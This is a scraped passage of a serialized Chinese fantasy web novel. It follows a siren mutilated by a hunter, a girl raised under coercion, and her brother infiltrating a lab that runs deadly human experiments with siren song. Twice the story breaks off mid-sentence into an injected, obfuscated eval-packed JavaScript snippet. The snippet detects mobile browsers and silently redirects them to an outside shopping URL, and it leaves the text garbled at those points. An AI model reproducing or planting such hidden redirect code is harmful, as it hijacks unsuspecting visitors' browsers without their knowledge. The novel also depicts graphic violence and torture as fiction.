小雪一眼就看到了洞口的西钊,而西钊也在此时发出充满敌意的警告嘶鸣。他的双手渐渐变为利爪,小臂长出白色的羽毛,屈膝随时准备攻击。 “抚养人类的塞壬,真是稀奇。” 西钊没有理会这个家伙的话,开口便以不协调的调子唱着驱逐对方的歌,试图将不善的外来者赶走。但西钊很快发现,不为歌声所动的不仅仅只有小雪,这个陌生人似乎也完全不受塞壬声音的魅惑,原本抓着小雪胳膊的手用力掐住她的脖颈,让她的哭声变成断断续续的呜咽。 小雪! 西钊见状连忙停下,焦急地看着被俘虏作为人质的小雪,手中的利爪仍未收回,却迟迟不敢有所行动。 “我劝你,还是不要白费功夫。我天生就能免疫你们这些东西的‘诅咒’,与其说我与众不同,倒不如说……” 那个男人一边说着,一边抬手举起一把特制的手枪,朝西钊扣动扳机。子弹接触到西钊翅膀时爆发出强烈的电流,瞬间将西钊击倒在地,一时再起不能。男人没有松开小雪,而是拖着她来到西钊跟前,抬脚踩着西钊背上那副最大羽翼的根部,骄傲地说完后半句:“倒不如说,我就是为狩猎你们而生的。” 西钊本想一鼓作气扇动翅膀将那人掀翻,但他一句“如果你还想这个小女孩活着,就别尝试反抗我”就让西钊松懈了几秒。男人抓住这个空隙,拿出一根针管,里面装着看上去就很危险的黑色液体,怼着西钊的后颈就扎了下去。药剂顺着西钊的血管脉络蔓延至他全身,直至完全消失于肉眼范围。原本因为痛苦而趴在地上挣扎的西钊这才逐渐安静下来,连呻吟也无法发出,身体微微颤抖,额前不停冒着冷汗。 像是终于达到目的,那人终于放开小雪。小雪即刻冲上去摇晃失去意识的西钊,不停地叫着他的名字,却发现他怎么也醒不过来。 “你们这些怪物还真不好控制,宁可死,也不愿继续为我效力。幸好你们的‘诅咒’对我没用,要不然,我就和‘苏兰特号’上那些人一样,成为它‘狂暴绝唱’下的亡魂之一了。”他一边拿出几个特殊“装备”,一边抱怨道,“看来,光是让你们身体机能衰退的毒素还远远不够。既然要确保笼中鸟飞不走,首先,就要夺走它的翅膀。” 小雪当即意识到那个掏出奇特利刃的男人要做什么,几乎整个人都趴在西钊身上护着那对现在看来脆弱不堪的羽翼:“不要!你不能这样!!” 男人像拎小猫似的轻松将小雪推倒在一边,扯开西钊的翅膀,将刀刃对准根部。 小雪的哭喊唤醒了西钊残存的意识,他感觉到背部的冰冷和翅膀被拉扯的疼痛,也看到面前小雪惊恐的、悲伤的面容。逃不掉了。他想。但是至少,别让一个孩子看见……西钊用尽最后的力气,将身边的小雪搂进怀里,遮住她的眼睛、捂住她的耳朵。 他气若游丝,吟诵着最后的诗: 在你盈盈的泪水里 静静地流露, 真挚而痛苦, 你和我共同忍受着, 召回我们彼此 失去的时光和破碎的幸福。* (*摘自尼采《我孤独地穿过深蓝色夜空》) 小雪的眼前一片漆黑,他只能听到西钊的歌声。那微弱的声音离她越来越远,直到完全听不见。她清晰地感觉到抱着她的人剧烈地颤抖了两下,接着,她又感觉到压在地面的衣角变得湿热,片刻之后,她发现紧紧拥抱她的手仿佛失去生气,垂在一边。 小雪小心翼翼地推开西钊的怀抱,眼前的一幕惊得她连尖叫声都发不出来。西钊的鸟足变成了银色的鱼尾,背鳍两侧赫然竖着两道长长的伤口,还在往外渗血,染红了他身上银色的鳞片。方才小雪衣角的湿热不是海水,而是西钊渗到身下的鲜血。 远处,割下塞壬翅膀的男人刚刚将它们在快艇上固定好,就好像那是他的战利品一般。 他回到洞穴中,抓起吓呆的小雪,又看了看地上的塞壬,从口袋中拿出同样的黑色药剂,不顾小雪的挣扎直接注射到她体内,只不过剂量是塞壬的一半。注射完成之后,他便直接把小雪扔在地上,接着蹲下身指了指旁边的塞壬。 “你想不想它死掉?” 小雪害怕地连连摇头,脸上满是泪水。 “我可以救它,也可以救你。我们来做个交易吧。”他朝小雪伸出手,佯装亲切,“你叫什么名字?” 小雪吸了吸鼻子,忍住没有哭出声:“小、小雪……” “不。从今天开始,你就是——” ———— “!!!” 冰儿从梦中惊醒,不断调整呼吸。又是那个梦。她永远都忘不掉西钊失去翅膀、被夺走天空的那一天。明明像她哥哥一样放开手,丢下自己就好了,为什么傻到任人摆布。 她抱着膝盖,仰头靠着人工岩壁,歪过脑袋看向一半身子在水里、一半身子在岸上还能枕着胳膊睡着的西钊,看到他肩膀上刺眼的白色纱布,不禁皱起眉。 这种身不由己,那个叫北淼的家伙,永远都不会理解。 TBC 63. 似是拨云见日[番外] 北淼坐在沙发上,肘撑膝、十指交握、手背托着下巴。他的视线紧盯客厅茶几放着的几张文件,若有所思地皱眉。 从孤岛回来之后,北淼立即根据“波塞冬号”的行驶路线找出岛屿的坐标,并顺利追查到这座名为“特洛伊”的小岛为私人财产,登记在“灰喑生物科学研究所”名下。北淼从不相信巧合。于是,他便委托三水之家对灰喑进行彻查。 灰喑生物科学研究所成立于三十年前,致力于新生物的发掘与研究,尤其在海洋生物方面为世界生物多样性做出过杰出贡献。北淼注意到,“塞壬”这个物种最早就是由灰喑编入到世界新物种目录的,而它的收编人是卡伦·桑德尔。 “卡伦。”北淼低声念道。 报告指出,卡伦·桑德尔是一名生物化学科学家,在研究塞壬方面尤为专业。世界上第一个完整的塞壬骨骼标本也是由他捐赠给B市国家博物馆以收藏或做科研用途。他曾发表过数篇有关塞壬的论文,也申请过多项研究成果专利。每届的“科学杰出贡献评选”上,卡伦也总是获得该奖项的提名,只可惜每次都陪跑——来自ERP科技有限公司的同行加鲁博士总会以更好、更实用的研究斩获更高的评价。 在加鲁博士因“太阳的反质子研究”再次拿下科学界杰出贡献奖之后,也就是十五年前,卡伦突然失踪,没有人知道他的去向。有传言说他的实验室发生严重事故,灰喑撤销了他在研究所的职务;也有的说他与塞壬结仇,放弃科学界的荣誉转而对塞壬进行狩猎。直到现在也没有人知道卡伦身在何处、是否还活着。 值得注意的是,尽管官方至今没有给出事故的真正原因,十年前“苏兰特号”沉没事件中仍然存在着很多疑点。 根据幸存者的描述,他们落水后看到了一艘快艇,船体的标志并不属于黑犀集团。当时他们的精神状态并不好,这都是他们在后续进行催眠治疗时回想起来的画面: 快艇上的男人用一根粗大的铁链死死拽着一只伤痕累累腾飞在半空的塞壬。它的羽毛呈青绿色,脚踝因锁链的镣铐被磨出血痕,身上几乎没有一处完好,几近癫狂地嘶鸣尖叫——那声音便是让“苏兰特号”沉没的罪魁祸首。男人似乎无法控制想要挣脱束缚的塞壬,索性松开手,下一秒便掏出一把复合三连弩,精准地击中它的脊背。塞壬坠落海中之时,那仿佛能穿透一切的绝唱也终于停止。男人这才发现远处海面的幸存者,焦急地驾驶快艇,从塞壬的尸体上碾过,踏着血浪掉头离开。 如果只有一个目击者,北淼会认为这是个荒诞的噩梦,但如果是三个互不相识、不在同一落水点的人看到的同一场面,北淼就不得不重视起来了。 已知塞壬两种形态身上的羽毛和鳞片同色,假设情报属实,“青绿色”的羽毛和他在侏儒老板那里买到的“青绿色”鳞片颜色吻合,很有可能来自同一只塞壬。那么,结合老板的情报,杀死塞壬的男人大概率就是十五年前失踪的卡伦·桑德尔。 难道卡伦真的如人们所说,投身偷猎塞壬之中了吗?不知为何,北淼总觉得哪里不太对劲。 他坐在漆黑的客厅里闭上眼沉思许久,落地窗外的城市早已在深夜中陷入沉眠,而他却毫无睡意。北淼再次拿起那几张被他翻来覆去看了快十几遍的报告,视线在“世界各国近十年船运货物丢失记录”那一页停下来。 因为莫名其妙的“海上风暴”丢失的货物、作为劫船中转站隶属灰喑的孤岛“特洛伊”、名叫“卡伦”的塞壬炼金材料供货商、从灰喑神秘消失的生物科学家卡伦·桑德尔、与伤残的塞壬一同被目击于海上的神秘男人……碎片式的线索一点点在北淼的头脑中拼凑出最终的答案: 十五年前,卡伦·桑德尔于灰喑失踪,原因不明。之后,他开始“狩猎”塞壬。一方面,他通过塞壬本身的材料从炼金术师手中获利;另一方面,他训练塞壬利用歌声拦截船只、魅惑船员交出货物以此牟利。孤岛“特洛伊”的作用是为船只停泊卸货提供靠岸的码头,同时也是卡伦移交截取货物的中继站。而在十年前,卡伦手下的一只塞壬与其发生冲突,原因不明,最后死亡。这次的冲突逼出了塞壬传说中的“狂暴之歌”,直接导致“苏兰特号”的沉没。根据货物丢失报告的时间差计算,仅仅两周后,卡伦便找到了新的“替代品”。假设北淼的猜想成立,那么这个“替代品”就是那天他在岛上遇到的银色塞壬:西钊。 ——全都串起来了。 北淼长叹着站起身,将文件随手扔回茶几,纸张边缘因为他用力的揉攥折得不成样子。他拿起沙发边桌的冷咖啡,粗略灌了一口,便来到落地窗前眺望空荡而寂寥的城市夜景,昏黄的路灯晃得他眼睛疼。 北淼住的豪华大平层虽然是都市中心地带,有利于他平时的工作,但他始终无法习惯复杂的人际关系以及充满官场臭味的社交。父母远在国外、小雪下落不明,这里再豪华,也根本算不上“家”。 说起家……他上一次回海边那栋别墅是什么时候? 北淼转头看向客厅墙上挂着的贝壳画,不禁回忆起那段不愿提及的往事。 小雪失踪的第一年,他们不断通过各种各样的方式打捞、搜救,本着“活要见人死要见尸”的理念,投入了大量的时间和精力。然而,搜寻一直没有结果,警方也在沉船中找到了疑似小雪衣物的碎片。此时正值黑犀集团事业的交叉口,心力交瘁的父母不得不带着沉痛的心情、不顾北淼的反对,在警方记录上将小雪登记为“推定死亡”。报纸上甚至以?黑犀集团宣布放弃寻找失踪千金?为标题出了一期人物专访。 北淼恨自己那时没有足够的权势和能力在最好的时机寻找小雪的下落。随着时间的推移,父母渐渐从失去小雪的悲痛中走出,只有北淼一个人没有放弃。他依然记得她带给自己的一切、记得自己没能遵循保护她的诺言。 虽然还没有小雪的线索,但他至少找到了那个害他与小雪分别十年的混蛋。“苏兰特号”的悲剧无时无刻不在提醒着北淼,塞壬是个定时炸弹。在更多人因此受到伤害之前,他要折断那把“刀”,也要让握刀的人血债血偿。 好,目标有了。 现在的问题是:该怎么做? 当然了,就算他北淼是黑犀集团的公子哥,也不能就这么闯进灰喑里胡作非为、违法犯罪。把自己往敌人老巢里送可不是什么睿智的决定。再者,如果卡伦还活着、并且借助灰喑的权限研究塞壬、进行货物的地下交易,那么他必定会留下痕迹,而这些痕迹就是北淼计划击溃灰喑的重要筹码。 但这远远超出了三水之家的调查权限,他需要帮手。 想到这里,北淼当即拿出手机,在通讯录翻了半天才找到一个看上去只是一串随机数字的号码,毫不犹豫地按下拨号键。 “喂,ERP吗,我找美真。就是你们那个研究主管,诸葛美真。什么叫‘现在不是工作时间’?这是她留给我的紧急联系方式,打得通就说明她在。要是耽误了正事谁来负责?!” 对面沉默片刻,一位听上去比接线员成熟许多,语调却轻快不少的女性接起电话,笑着调侃道:“是哪个大帅哥凌晨三四点为难我们接待小妹妹,就为了跟我说上一句话啊?” 是不是跟坤中那小子学的,这么不着调。这帮人真是……北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334691|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淼忍着没有抱怨,轻咳一声以示自己的身份,压低声线严肃说道:“美真,别闹了,我是北淼。有件事想请你和东杉帮忙。东杉还在你那边实习吗?” 听闻北淼正儿八经的语气,美真也收敛表情认真起来,点头“嗯”了一声:“还在。月底毕业之后就可以直接转正,预计会被调到信息部做技术主管。怎么了?” “我记得ERP生物研究分部和灰喑还有合作,是吧?项目由你哥负责。”得到美真肯定的答复之后,北淼才继续说,“我需要你协助东杉,利用这个项目的数据漏洞,让他帮我在灰喑‘开路’。” “什么?”美真猜到了那个词的意思,但她没敢明说。 “没错。”北淼十分肯定地补全美真没能说出的后话,“我计划潜入灰喑内部。有些事,我需要亲自去调查和确认。” 灰喑在业界是出了名的“灰色研究所”,很多人都知道他们在做见不得人的研究,但没有人能拿到证据,所以三十年来从未被制裁。美真的哥哥加鲁博士提出项目合作也是一步想要揭发其恶行的险棋。因此,美真并没有第一时间制止北淼,她考虑的是另一方面。 “北淼,灰喑在执法部门有内线,如果中途有什么差错,我哥还好说,但……介于你的身份,我怕你难脱身。” 北淼不屑地轻笑,他早就想到了这一点。只见他一边在客厅踱步,一边漫不经心地说道:“坤中上个月不是在警队立功了吗?这个月刚升职,庆功宴还欠着我们的呢。他管辖的范围正好是灰喑所在地——你知道我的意思。” “你这是在拉他下水。要是事情闹大,他这辈子可就毁在你手上了。”美真没好气地说,“我看,你还是把这件事交给我哥吧,随着合作的深入,说不定有你想要的情报。” “坐着等结果从来不是我的作风。放心,我有分寸。你只管帮我联系他就行,你们三个都住一栋公寓,方便。” 真倔,劝不动。电话那头的美真抬手扶额,都要给气笑了:“你怎么不说炘南也住我们这儿,一楼还是他们家的‘幸福饺子馆’呢。” “噢,对。你提醒我了。炘南过几天全国巡演就要回来了吧?”北淼在美真满是怀疑的“没错”里笑着说,“美真,你要知道,有时候人脉,才是最有效的社交。我认识的一个政府高层,他非常希望炘南能够亲自到的别墅里开展一次私人钢琴音乐会。奈何我们的钢琴王子太过有名,行程总是很忙。” “北淼……”美真这回真的笑出声了。 “怎么,都是一个福利院出来的兄弟,这点忙都不帮?要知道,当初我们可是不打不相识,有什么困难都是第一时间相互扶持——” “——‘然后一直到现在也是一对欢喜冤家’。哎知道了知道了,你每次都要说一遍,耳朵都起茧了。”美真无奈地长叹口气,在倔强的“黑犀公子”面前败下阵来,“听蕙姨说,炘南大概一周后回来,正好我也联系一下坤中和东杉那边。” “谢了。” 北淼正要挂电话,就听见美真犹犹豫豫地多问了一嘴:“不过北淼,你这么大阵仗、还这么着急,到底是想调查什么?” “卡伦和他的塞壬。”北淼回答得很快,声音平静而冷淡,仿佛这件事就像吃饭喝水那样平凡而简单,“我会先杀了他的塞壬,再把他送进监狱,连同灰喑一起。” 至于那个女人……他北淼通常不跟女人一般见识,要是懂得知错悔改,也不是不能放她一马。 “……好吧,北淼。你的事,我会尽力而为,只是希望你知道自己在做什么。” “嗯,我明白。” TBC 64. 鱼罐头[番外] 北淼的视线一直在电梯显示屏不断变小的数字上停留,不太自然地调整着身上白色的生化防护服,并确保ID卡和地上的装备包都携带齐全。 经过东杉的帮助,北淼顺利拿到进入灰喑研究所的高权限ID卡,但由于北淼这张脸在社会上实在太有辨识度,他们不得不给北淼安排一个必须穿着防护服才能自由行动的部门,保险起见还给他准备了一副眼镜。 北淼的取证计划大致分为两个部分: 首先是物证。在美真的安排下,北淼从加鲁博士手里借来几台条状的便携式扫描仪。北淼打算将它们装在各部门的粉碎机上,只要有研究员例行销毁机密文件,扫描仪就能够将粉碎的文件发送到美真那边。同时,他也会潜入各个楼层、各个部门的资料室,寻找留档用的备份资料。 其次是实验数据。由美真主导、东杉进行协助,攻破防火墙、骇入灰喑的全部服务器和整个数据库,找到不被公开的非人道主义实验项目和实验数据。一旦拿到手,他们就可以向监管部门反馈,以此来对灰喑进行彻查。 然而,由于灰喑的管理制度十分严格、安保覆盖范围广泛,因此任何研究员在进入时都要经过安检,北淼自然无法携带枪支和其他防身武器。美真在耳机里不断提醒北淼:一旦这次行动出现任何差池,导致北淼暴露,他就只能靠自己撤离,并做好面对政府和执法部门的准备。 对此,北淼倒是不以为意。一方面,他虽称不上武打高手,但凭自己的体术和规划好的撤离路线,抢夺武器打出重围并非天方夜谭。另一方面,他早就联系坤中,确保行动当天如果收到来自灰喑研究所关于“非法入侵”的报告,警方不会介入;他也早已打点该区域的政府高层,对方承诺会为黑犀集团和他个人提供有利舆论,同时也不会做出对其不利的举措。 万事俱备,只欠东风。 为确保北淼三人的行动更加安全,他们在北淼走进研究所的那一刻就切断了通讯,非必要不会进行联系。而此时,收到美真“我接入他们的系统了,现在开始破解防火墙”的消息后,电梯正好停在北淼的目标楼层:负7层—生物科研3区。出电梯之前,北淼看了一眼口袋里的手绘地图:往上没有负6层,只有负5层的“货仓存储部”;再往下两层分别是“生物实验室”的1区和3区……怎么没有2区?而负10层则是“液氮冷冻档案馆”。果然,最见不得人的东西都在最底下。 北淼收好地图,迈步走出电梯,来到空无一人的长廊。声控感应灯因北淼的到来由近到远迅速亮起,仿佛在给他引路。灰喑研究所按项目来分配区域和人手,这才出现像现在这样整个楼层除了安保没有其他人驻守的情况。根据东杉提供的情报,北淼潜入当天,空闲的正是生物科研3区,而它恰好也是灰喑研究塞壬的区域之一。 过了安保那一关之后,北淼找到杂物间,脱下生化防护服、戴好眼镜、狠狠心随意弄了弄自己引以为傲的发型——现在不是在意这个的时候——接着将假ID卡挂在胸口,还顺手披上一件白大褂,调整呼吸若无其事地开门回到走廊。如果他对地图的记忆没有偏差,从长廊过几个转弯就能到实验室里。顺利的话,那里应该有不少关于塞壬和灰喑生物实验的情报。 令北淼意外的是,距离实验室还剩最后一个转角时,他注意到那边好像亮着灯,远处也传来嘈杂的声音。北淼放慢脚步、仔细辨别了一会儿,他发现,这并非突发情况或实验事故,而是各类机器正在运作、人们不停地探讨什么的声音。北淼知道这里有监控,于是他找好角度,非常自然地停住、拿起电话放在耳边佯装一副接到“紧急电话”的模样,但余光一直往实验室的方向瞄。果不其然,越是靠近,北淼就越能肯定一件事:情报有误,这里不止他一个“研究员”。 看来得调整行动顺序了。北淼提起那一袋沉甸甸的扫描仪,继续扮演那个“突发急事离开”的研究员,顺利通过安保,进入电梯。直到电梯门缓缓关上,北淼才松口气。他收起手机、刷ID卡,按下“负10层”的按钮。 不知道是不是错觉,方才北淼在实验室入口处的转角离开之前,往里头看了一眼。除了琳琅满目、多得夸张、大得夸张的设备之外,中央还高耸着一个巨大的……他该怎么形容呢?巨大的水罐头?似乎还是圆柱形?北淼不知道。但重要的是,北淼清楚地记得那个装满水的罐子里有一片类似鱼类尾鳍的银色物体若隐若现。 ——银色鱼尾。 电梯匀速下降时,北淼心中有一个猜想。他决定找另外一条通往“生物科研3区”的路,验证他的想法。不过首先,他得先把手里这些“累赘”处理掉。随着头顶传来一声清脆的“叮”,电梯稳稳停在了负10层——液氮冷冻档案室。 ———— 一周前,特洛伊岛。 卡伦站在码头前目送灰喑的航船离开,一根银色权杖撑在他身前,他的双手交叠于权杖雕刻着眼镜蛇的头部,手指无声地敲击手背。 在西钊为卡伦做事的十年里,他也作为塞壬的“样本”供灰喑研究。每隔一段时间,卡伦就会来到岛上将西钊带回灰喑的研究所中进行各项研究操作,包括但不限于提供血液和组织样本、采集声音和生命体征数据、对阶段性研究成果进行测试等。通常卡伦也会让冰儿跟在身边。一方面是便于管理,一方面也是对西钊的某种“限制”。但这一次,由于北淼登岛导致的意外变故,卡伦决定与冰儿一起留在特洛伊岛上,以防止更坏的情况发生。 冰儿低头站在卡伦身侧,盯着地面发呆,思绪游离在外,甚至没有听见卡伦叫她,直到卡伦提高音量叫了第三声,她才如梦初醒。 “冰儿。我听说,你见过黑犀海上贸易的董事长了,是吗?”卡伦语气平和,却散发着一种不容违逆的强大压迫感,“你……有什么‘想法’?” 卡伦将“想法”两个字读音加重,显然在试探冰儿在见到阔别已久的哥哥之后是否起了他心。 冰儿的眼神飘忽不定,她没有抬头,心不在焉地回答:“没、没有。我没什么想法。” 卡伦眯起眼睛,转身看向冰儿,语气里带着些责备和愠怒:“冰儿。难道我没教过你、不看着别人说话,是件很没礼貌的事情吗?” 刻在骨子里持续十年的恐惧让冰儿猛然抬头。她正要解释什么,卡伦已在此时顺势伸手掐住了她的喉咙将她拽过去。卡伦的手就像缠住她脖颈的巨蛇,越是挣扎,就收得越紧,让冰儿呼吸不能。 卡伦在冰儿到达极限之前松开了手。冰儿重重摔在地上,捂着脖颈剧烈地咳嗽。卡伦将手中的权杖头部抵住冰儿的下巴,迫使她与自己对视,接着冷冷说道:“我希望你搞清楚,是谁在媒体宣布放弃了你、又是谁在这十年养你育你;谁是你的家人、谁才是你的敌人。别给我耍什么花样。否则,我要从它身上取下的东西,可就不止一对翅膀了。” “……是。冰儿明白。” 卡伦满意地收回权杖,转身往蓝色皮卡的方向走。冰儿狼狈地爬起来,紧随其后。坐上车离开码头之前,冰儿深深地往海岸线望了一眼,带着西钊离港的那艘航船早已消失不见。 天空乌云密闭,沉闷得令人喘不上气。不知为何,冰儿忽然有一种不好的预感。 ———— “美真,收到了吗?” “看到销毁的文件了。干得漂亮,北淼。” 虽然北淼自认为刚刚的动作十分自然、行云流水,但进入电梯的那一刻他才发现自己的心脏在狂跳不止。 档案室不像北淼想象的那样只有寥寥几个文员打着哈欠给文件盖章。那里的人流不比实验室里的科研人员少,无一不在忙着整理资料、交接工作、归档数据以及——销毁文件。北淼利用他的伪装身份很好地混了进去,以东杉给他准备好的计算机专业名词成功骗过那些“文科生”。 但人多眼杂,北淼只想着早装完早了事,结果转身时他就被档案管理员叫住。北淼心里咯噔一下,面上依旧微微笑着回过头问“什么事”。好在,只是他的ID卡掉在地上,被好心的管理员捡到并物归原主,那人还顺口调侃了一句“技术部换人的速度都快赶上试验部换实验品的速度了”。直到电梯停在负8层“生物实验1区”好一会儿,北淼才从这句细思极恐的话里缓过神来。 此时,美真和东杉还在为攻破灰喑的防火墙努力,档案室例行的销毁工作也给他们补充了不少证据。而北淼在前往刚刚疑似看到“塞壬”的生物科研3区之前,打算到这个生物实验区调查一番。美真提到过,灰喑在做着见不得人的非人道主义研究,结合刚刚那个管理员的话,这个只有“A级权限”ID卡才能进来的区域一定有鬼。 这个时间,正常来说生物实验1区也处在“无人”状态。电梯门打开时,北淼没有看到长廊、也没有看到实验室,而是一个狭长的走道,两侧分别是特制透明板。待他站在走道之中、感应灯亮起,他才看清透明板内是怎样的景象:这里是一个个被透明板隔离开的房间。在每个房间中都有几台统一的设备,似乎用于音频播放和调节,看上去是正在播放的状态。或许是因为这些透明板隔音效果极佳,北淼一点声音都听不见。人们——不如说是实验品们——被捆绑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334692|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在竖直放置的床上,表情扭曲、不断挣扎,几乎所有人都陷入了某种疯狂。有少数人挣脱束缚,将房间内弄得一片狼藉,却逃不出房间,便开始自我毁灭。大部分状态凄惨到甚至已经不能称之为“人类”。 能够造成这种恐怖效果的东西,北淼只知道一个。 他迟疑地走向离自己最近的房间,里面那个被绑在床上的人垂着脑袋,已经没有了生命体征。房间外的架子上放着一本研究记录表格,上面赫然写着: “狂暴之歌计划”二阶段第三批次测试 测试者:中年男性 声纹编号:34 状态: 第一日:未观察到异常 第二日:出现明显精神分裂症状 ... 第六日:已确认脑死亡 果然是“狂暴之歌”。北淼没想到灰喑对塞壬的研究并非为自然界和人类社会考虑,而是打算将“魔法”内化为“科技”,把它做成一种可怕的武器。但老实说,塞壬恐怖的地方应该不止这一点吧…… 带着这样的心情,北淼慢慢走向对面的房间,尽量不去理会里面仿佛一具行尸走肉不停用脑袋撞墙的年迈女性。他拿起架子上的记录表,发现上面记录着的是另一个项目: “魅惑之声计划”一阶段第四批次测试 测试者:老年女性 声纹编号:03 状态: 第一日:未观察到异常 第二日:未观察到异常 ... 第七日:语言和行动力退化明显 第八日:能够跟随声纹指令行动 北淼放下记录表的手都在发抖,但不是他在害怕什么,而是心中涌起无法压制的愤怒。不仅仅是因为灰喑残忍的实验行为,还有塞壬助纣为虐、为他们提供“声纹”用于研究。他对塞壬的看法是对的——他从来没有错过。这种生物对人类就是百害而无一利,跟蚊子一样。唯一能比得过蚊子的就是它们数量极少。 好吧,哪怕它们这么少,北淼十年都能碰见俩。这辈子能遇见两个塞壬也是他北淼倒了大霉了。一个让他丢了妹妹、一个让他丢了货物,现在楼上实验室的罐头里还装着一个。他是跟塞壬有什么仇吗? 北淼自嘲地笑出声,忍着强烈的反感和恨意,沿着过道继续往里探索。几乎每个房间都代表着不同项目的实验品,这些项目包括但不限于研究塞壬的再生能力、变形能力、识别语言音乐和文字的能力、以及塞壬血液中拥有的魔法。作为实验品的人基本活不过十天,最短的仅仅两天就宣告死亡。 北淼在转角处发现了一个特殊的门,打开后,里面是个长条状的滑轨,约莫45°的倾斜向下延伸,宽度有一人宽。北淼清晰地感觉到从下方传来的热量和臭味。他认得出这个味道——尸体的腐烂和燃烧。这下他大概知道“生物实验区”1区和3区中间的2区去哪儿了。 通过美真的调查,北淼发现,这些“实验品”大多都是没有身份证明的流浪汉、无亲无故的孤寡老人、福利院出身的孩童以及精神病患者。总的来说,就是“即使死了也不会有人注意到”。也难怪这些年没有人能抓到灰喑非法研究的关键性证据,因为压根就没有。 北淼让美真制造一个监控循环画面作为掩饰,在反制系统使其失效之前尽可能地拍下了更多图片以作凭证。 搭上电梯离开这一层之前,北淼忽然问道:“美真,假设他们有活的塞壬,灰喑被曝,塞壬会被怎么处理?” 对面沉默了一会儿,似乎在思考:“我哥说,大概率会移交到国家机构,同时也会作为罪证之一呈交法庭。不过,你问这个做什么?” “如果我拒绝呢?” “什么意思?” 北淼看向电梯的按钮面板,按下“货仓存储部”所在的负5层,不紧不慢地说道:“那我换个说法。凭借我们今天拿到的证据,不管有没有活体塞壬,都不影响对他们的审判吧?” “这个……不影响。”美真犹犹豫豫地小声说着,虽然结论很明确,但她对北淼的行为并不放心。 “如果这里真的有塞壬,你知道我不会就这么轻易将它拱手让人。我要亲自动手,让它血债血偿,解我心头之恨。” “可……听你说,十年前船难的那只塞壬不是已经死了吗?” “塞壬就是塞壬,找哪一只报仇都一样。” 随着熟悉而清脆的“叮”声传来,北淼瞥一眼面板上的“-5”,不等美真再说什么,烦躁地按了按耳机,自顾自地切断通讯。 TBC 65. 突围[番外] 北淼之所以前往货仓存储部,是因为根据美真发来的建筑平面图来看,负5层实际上是中空构造,周围是储物架,没有安保、全自动管理。楼层中央与负7层的生物科研3区相连,站在围栏处,整个实验室的情况都一览无余。 美真的循环监控“障眼法”只有5分钟时间,不过这对北淼来说绰绰有余。他绕过几台货运机器人,蹲伏在围栏角落一个大货箱旁,透过围栏的玻璃板向下观察。 这是灰喑科研部面积最大的的实验室之一,不仅摆放着数台先进设备和仪器,各类五颜六色的药剂也数不胜数。一群穿着和北淼一样白大褂的研究员忙碌于它们之间,仔细看会发现他们的焦点都在实验室中央那个巨大的胶囊状透明容器上,似乎所有设施和测试都围着它转。而正如北淼猜测的那样,浸泡于容器中的、正是那条银尾塞壬——西钊。 据北淼的观察,此时的西钊正被半透明的淡蓝色液体包裹,似乎没有意识;它的身上插着几根细管,每一根都是不同颜色,也不知道这是细管本来的样子、还是在注入或者取出什么东西。也许是西钊鳞片过于光滑干净,导致它尾部被粗大铁链长期束缚而形成的伤痕和锈迹十分显眼;还有它脖颈上戴着的疑似电子项圈的铁制圆环。北淼不禁产生了一丝好奇:塞壬到底是在以自己的意志和他们合作、还是作为被驯服的“宠物”为他们服务呢?如果是后者……不,不能动摇。北淼摇摇头,打断自己荒谬的恻隐之心。放疯狗咬人的家伙会被绳之以法,而疯狗也会被安乐死。这就是法律,这才是正义。 北淼正要拿出手机进行拍照取证,却听见耳机里传来一阵刺耳的尖锐嗡鸣,就在他忍不住将耳机取下来之前,嗡鸣声及时停止,美真焦急的声音传来,语速比平常快了将近两倍。 “北淼,ERP的系统遭到入侵,你暴露了,快撤!我让坤中在地图位置接应你!” 什么? 北淼还没来得及反应,通讯就被迫中断,无论如何都无法再次联系上。与此同时,实验室——不,应该说是整个灰喑生物科学研究所,都开始闪烁刺眼的红光、广播也不停轮播“警告、警告,设施遭到入侵,全体进入一级警戒、启用应急预案,研究所将在5分钟后封锁,请全体研究人员在销毁项目数据后依指定路线撤离”。 由于ERP的系统出现问题,北淼原本畅通无阻的ID卡此时成为了他行进轨迹的追踪器。很快,灰喑的几名黑衣安保就追到了负5层,他们的行动甚至比北淼还要干脆利落,更别说配备了夜视仪、红外感应设备和热成像仪,出电梯第一件事就是怼着北淼的方向清空第一批手枪弹夹。 “混蛋……!” 一颗子弹在他鞋尖旁的地面蹭出耀眼的火光,北淼不得不往货箱的角落缩了缩身子。余光里,楼下的研究员不停地销毁药剂和文件、损坏设备和仪器,已经开始准备转移那个装有塞壬的巨大胶囊。 不行,至少给我把那家伙留下! 北淼迅速在脑子里思考对策:身旁倚靠的玻璃虽然坚固,但不防弹,经过这一轮摧残已经布满蛛网状的裂纹,只要再集中施加一个力就能击破;而最快到达负7层的方式无疑是直接跳下去,但这可是两层楼,目测都有6、7米高,必须要找到存在缓冲的落脚点。从玻璃的镜面反射中看着逼近的几名黑衣人,北淼忽然想到:找不到落脚点,找个垫背的总可以吧? 